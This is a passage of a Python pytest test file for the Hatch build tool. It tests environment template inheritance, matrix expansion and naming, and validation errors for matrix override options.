ProjectConfig(isolation, {'envs': env_config}, PluginManager()) assert project_config.envs == {'default': {'type': 'virtual'}, 'foo': {'option': True, 'type': 'virtual'}} def test_basic_override(self, isolation): env_config = {'foo': {'type': 'baz'}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) assert project_config.envs == {'default': {'type': 'virtual'}, 'foo': {'type': 'baz'}} def test_multiple_inheritance(self, isolation): env_config = { 'foo': {'option1': 'foo'}, 'bar': {'template': 'foo', 'option2': 'bar'}, 'baz': {'template': 'bar', 'option3': 'baz'}, } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) assert project_config.envs == { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'option1': 'foo'}, 'bar': {'type': 'virtual', 'option1': 'foo', 'option2': 'bar'}, 'baz': {'type': 'virtual', 'option1': 'foo', 'option2': 'bar', 'option3': 'baz'}, } def test_circular_inheritance(self, isolation): with pytest.raises( ValueError, match='Circular inheritance detected for field `tool.hatch.envs.*.template`: foo -> bar -> foo' ): _ = ProjectConfig( isolation, {'envs': {'foo': {'template': 'bar'}, 'bar': {'template': 'foo'}}}, PluginManager() ).envs def test_scripts_inheritance(self, isolation): env_config = { 'default': {'scripts': {'cmd1': 'bar', 'cmd2': 'baz'}}, 'foo': {'scripts': {'cmd1': 'foo'}}, 'bar': {'template': 'foo', 'scripts': {'cmd3': 'bar'}}, 'baz': {}, } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) assert project_config.envs == { 'default': {'type': 'virtual', 'scripts': {'cmd1': 'bar', 'cmd2': 'baz'}}, 'foo': {'type': 'virtual', 'scripts': {'cmd1': 'foo', 'cmd2': 'baz'}}, 'bar': {'type': 'virtual', 'scripts': {'cmd1': 'foo', 'cmd2': 'baz', 'cmd3': 'bar'}}, 'baz': {'type': 'virtual', 'scripts': {'cmd1': 'bar', 'cmd2': 'baz'}}, } def test_matrices_not_array(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.matrix` must be an array'): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': 9000}}}, PluginManager()).envs def test_matrix_not_table(self, isolation): with pytest.raises(TypeError, match='Entry #1 in field `tool.hatch.envs.foo.matrix` must be a table'): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [9000]}}}, PluginManager()).envs def test_matrix_empty(self, isolation): with pytest.raises(ValueError, match='Matrix #1 in field `tool.hatch.envs.foo.matrix` cannot be empty'): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{}]}}}, PluginManager()).envs def test_matrix_variable_empty_string(self, isolation): with pytest.raises( ValueError, match='Variable #1 in matrix #1 in field `tool.hatch.envs.foo.matrix` cannot be an empty string' ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{'': []}]}}}, PluginManager()).envs def test_matrix_variable_not_array(self, isolation): with pytest.raises( TypeError, match='Variable `bar` in matrix #1 in field `tool.hatch.envs.foo.matrix` must be an array' ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{'bar': 9000}]}}}, PluginManager()).envs def test_matrix_variable_array_empty(self, isolation): with pytest.raises( ValueError, match='Variable `bar` in matrix #1 in field `tool.hatch.envs.foo.matrix` cannot be empty' ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{'bar': []}]}}}, PluginManager()).envs def test_matrix_variable_entry_not_string(self, isolation): with pytest.raises( TypeError, match='Value #1 of variable `bar` in matrix #1 in field `tool.hatch.envs.foo.matrix` must be a string', ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{'bar': [9000]}]}}}, PluginManager()).envs def test_matrix_variable_entry_empty_string(self, isolation): with pytest.raises( ValueError, match=( 'Value #1 of variable `bar` in matrix #1 in field `tool.hatch.envs.foo.matrix` ' 'cannot be an empty string' ), ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{'bar': ['']}]}}}, PluginManager()).envs def test_matrix_variable_entry_duplicate(self, isolation): with pytest.raises( ValueError, match='Value #2 of variable `bar` in matrix #1 in field `tool.hatch.envs.foo.matrix` is a duplicate', ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix': [{'bar': ['1', '1']}]}}}, PluginManager()).envs def test_matrix_multiple_python_variables(self, isolation): with pytest.raises( ValueError, match='Matrix #1 in field `tool.hatch.envs.foo.matrix` cannot contain both `py` and `python` variables', ): _ = ProjectConfig( isolation, {'envs': {'foo': {'matrix': [{'py': ['39', '310'], 'python': ['39', '311']}]}}}, PluginManager(), ).envs def test_matrix_name_format_not_string(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.matrix-name-format` must be a string'): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix-name-format': 9000}}}, PluginManager()).envs def test_matrix_name_format_invalid(self, isolation): with pytest.raises( ValueError, match='Field `tool.hatch.envs.foo.matrix-name-format` must contain at least the `{value}` placeholder', ): _ = ProjectConfig(isolation, {'envs': {'foo': {'matrix-name-format': 'bar'}}}, PluginManager()).envs def test_overrides_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides` must be a table'): _ = ProjectConfig(isolation, {'envs': {'foo': {'overrides': 9000}}}, PluginManager()).envs def test_overrides_platform_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides.platform` must be a table'): _ = ProjectConfig(isolation, {'envs': {'foo': {'overrides': {'platform': 9000}}}}, PluginManager()).envs def test_overrides_env_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides.env` must be a table'): _ = ProjectConfig(isolation, {'envs': {'foo': {'overrides': {'env': 9000}}}}, PluginManager()).envs def test_overrides_matrix_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides.matrix` must be a table'): _ = ProjectConfig( isolation, {'envs': {'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': 9000}}}}, PluginManager(), ).envs def test_overrides_platform_entry_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides.platform.bar` must be a table'): _ = ProjectConfig( isolation, {'envs': {'foo': {'overrides': {'platform': {'bar': 9000}}}}}, PluginManager() ).envs def test_overrides_env_entry_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides.env.bar` must be a table'): _ = ProjectConfig(isolation, {'envs': {'foo': {'overrides': {'env': {'bar': 9000}}}}}, PluginManager()).envs def test_overrides_matrix_entry_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.envs.foo.overrides.matrix.bar` must be a table'): _ = ProjectConfig( isolation, {'envs': {'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'bar': 9000}}}}}, PluginManager(), ).envs def test_matrix_simple_no_python(self, isolation): env_config = {'foo': {'option': True, 'matrix': [{'version': ['9000', '3.14']}]}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', 'option': True}, 'foo.3.14': {'type': 'virtual', 'option': True}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) def test_matrix_simple_no_python_custom_name_format(self, isolation): env_config = { 'foo': { 'option': True, 'matrix-name-format': '{variable}_{value}', 'matrix': [{'version': ['9000', '3.14']}], } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.version_9000': {'type': 'virtual', 'option': True}, 'foo.version_3.14': {'type': 'virtual', 'option': True}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('indicator', ['py', 'python']) def test_matrix_simple_only_python(self, isolation, indicator): env_config = {'foo': {'option': True, 'matrix': [{indicator: ['39', '310']}]}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.py39': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py310': {'type': 'virtual', 'option': True, 'python': '310'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('indicator', ['py', 'python']) def test_matrix_simple(self, isolation, indicator): env_config = {'foo': {'option': True, 'matrix': [{'version': ['9000', '3.14'], indicator: ['39', '310']}]}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.py39-9000': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-3.14': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py310-9000': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-3.14': {'type': 'virtual', 'option': True, 'python': '310'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('indicator', ['py', 'python']) def test_matrix_simple_custom_name_format(self, isolation, indicator): env_config = { 'foo': { 'option': True, 'matrix-name-format': '{variable}_{value}', 'matrix': [{'version': ['9000', '3.14'], indicator: ['39', '310']}], } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.py39-version_9000': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-version_3.14': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py310-version_9000': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-version_3.14': {'type': 'virtual', 'option': True, 'python': '310'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) def test_matrix_multiple_non_python(self, isolation): env_config = { 'foo': { 'option': True, 'matrix': [{'version': ['9000', '3.14'], 'py': ['39', '310'], 'foo': ['baz', 'bar']}], } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.py39-9000-baz': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-9000-bar': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-3.14-baz': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-3.14-bar': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py310-9000-baz': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-9000-bar': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-3.14-baz': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-3.14-bar': {'type': 'virtual', 'option': True, 'python': '310'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) def test_matrix_series(self, isolation): env_config = { 'foo': { 'option': True, 'matrix': [ {'version': ['9000', '3.14'], 'py': ['39', '310'], 'foo': ['baz', 'bar']}, {'version': ['9000'], 'py': ['310'], 'baz': ['foo', 'test'], 'bar': ['foobar']}, ], } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.py39-9000-baz': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-9000-bar': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-3.14-baz': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py39-3.14-bar': {'type': 'virtual', 'option': True, 'python': '39'}, 'foo.py310-9000-baz': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-9000-bar': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-3.14-baz': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-3.14-bar': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-9000-foo-foobar': {'type': 'virtual', 'option': True, 'python': '310'}, 'foo.py310-9000-test-foobar': {'type': 'virtual', 'option': True, 'python': '310'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) def test_matrices_not_inherited(self, isolation): env_config = { 'foo': {'option1': True, 'matrix': [{'py': ['39']}]}, 'bar': {'template': 'foo', 'option2': False}, } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.py39': {'type': 'virtual', 'option1': True, 'python': '39'}, 'bar': {'type': 'virtual', 'option1': True, 'option2': False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) def test_matrix_default_naming(self, isolation): env_config = {'default': {'option': True, 'matrix': [{'version': ['9000', '3.14']}]}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { '9000': {'type': 'virtual', 'option': True}, '3.14': {'type': 'virtual', 'option': True}, } assert project_config.envs == expected_envs assert project_config.matrices['default'] == construct_matrix_data('default', env_config) def test_matrix_pypy_naming(self, isolation): env_config = {'foo': {'option': True, 'matrix': [{'py': ['python3.9', 'pypy3']}]}} project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.python3.9': {'type': 'virtual', 'option': True, 'python': 'python3.9'}, 'foo.pypy3': {'type': 'virtual', 'option': True, 'python': 'pypy3'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=f'Field `tool.hatch.envs.foo.overrides.matrix.version.{option}` must be a string or an array', ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: 9000}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_entry_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string or an inline table' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [9000]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_table_entry_no_key(self, isolation, option): with pytest.raises( ValueError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must have an option named `key`' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{}]}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_table_entry_key_not_string(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `key` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'key': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_table_entry_key_empty_string(self, isolation, option): with pytest.raises( ValueError, match=( f'Option `key` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'cannot be an empty string' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'key': ''}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_table_entry_value_not_string(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `value` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'key': 'foo', 'value': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_table_entry_if_not_array(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `if` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be an array' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': { 'matrix': {'version': {option: [{'key': 'foo', 'value': 'bar', 'if': 9000}]}} }, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=f'Field `tool.hatch.envs.foo.overrides.matrix.version.{option}` must be an array' ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: 9000}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table_entry_no_value(self, isolation, option): with pytest.raises( ValueError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must have an option named `value`' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{}]}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table_entry_value_not_string(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `value` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table_entry_value_empty_string(self, isolation, option): with pytest.raises( ValueError, match=( f'Option `value` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'cannot be an empty string' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': ''}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table_entry_if_not_array(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `if` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be an array' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': 'foo', 'if': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_entry_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string or an inline table' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [9000]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=( f'Field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string, inline table, or an array' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: 9000}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_table_no_value(self, isolation, option): with pytest.raises( ValueError, match=f'Field `tool.hatch.envs.foo.overrides.matrix.version.{option}` must have an option named `value`', ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: {}}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_table_value_not_string(self, isolation, option): with pytest.raises( TypeError, match=f'Option `value` in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` must be a string', ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: {'value': 9000}}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_entry_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string or an inline table' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [9000]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_no_value(self, isolation, option): with pytest.raises( ValueError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must have an option named `value`' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{}]}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_value_not_string(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `value` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a string' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_if_not_array(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `if` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be an array' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': 'foo', 'if': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=( f'Field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a boolean, inline table, or an array' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: 9000}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_table_no_value(self, isolation, option): with pytest.raises( ValueError, match=f'Field `tool.hatch.envs.foo.overrides.matrix.version.{option}` must have an option named `value`', ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: {}}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_table_value_not_boolean(self, isolation, option): with pytest.raises( TypeError, match=f'Option `value` in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` must be a boolean', ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: {'value': 9000}}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_entry_invalid_type(self, isolation, option): with pytest.raises( TypeError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a boolean or an inline table' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [9000]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_no_value(self, isolation, option): with pytest.raises( ValueError, match=( f'Entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must have an option named `value`' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': {'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{}]}}}} } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_value_not_boolean(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `value` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be a boolean' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_if_not_array(self, isolation, option): with pytest.raises( TypeError, match=( f'Option `if` in entry #1 in field `tool.hatch.envs.foo.overrides.matrix.version.{option}` ' f'must be an array' ), ): _ = ProjectConfig( isolation, { 'envs': { 'foo': { 'matrix': [{'version': ['9000']}], 'overrides': {'matrix': {'version': {option: [{'value': True, 'if': 9000}]}}}, } } }, PluginManager(), ).envs @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_string_with_value(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: 'FOO=ok'}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': 'ok'}}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_string_without_value(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: 'FOO'}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': '9000'}}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_string_override(self, isolation, option): env_config = { 'foo': { option: {'TEST': 'baz'}, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: 'TEST'}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'TEST': '9000'}}, 'foo.bar': {'type': 'virtual', option: {'TEST': 'baz'}}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_string_with_value(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: ['FOO=ok']}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': 'ok'}}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_string_without_value(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: ['FOO']}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': '9000'}}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_string_override(self, isolation, option): env_config = { 'foo': { option: {'TEST': 'baz'}, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: ['TEST']}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'TEST': '9000'}}, 'foo.bar': {'type': 'virtual', option: {'TEST': 'baz'}}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_table_key_with_value(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'key': 'FOO', 'value': 'ok'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': 'ok'}}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_table_key_without_value(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'key': 'FOO'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': '9000'}}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', 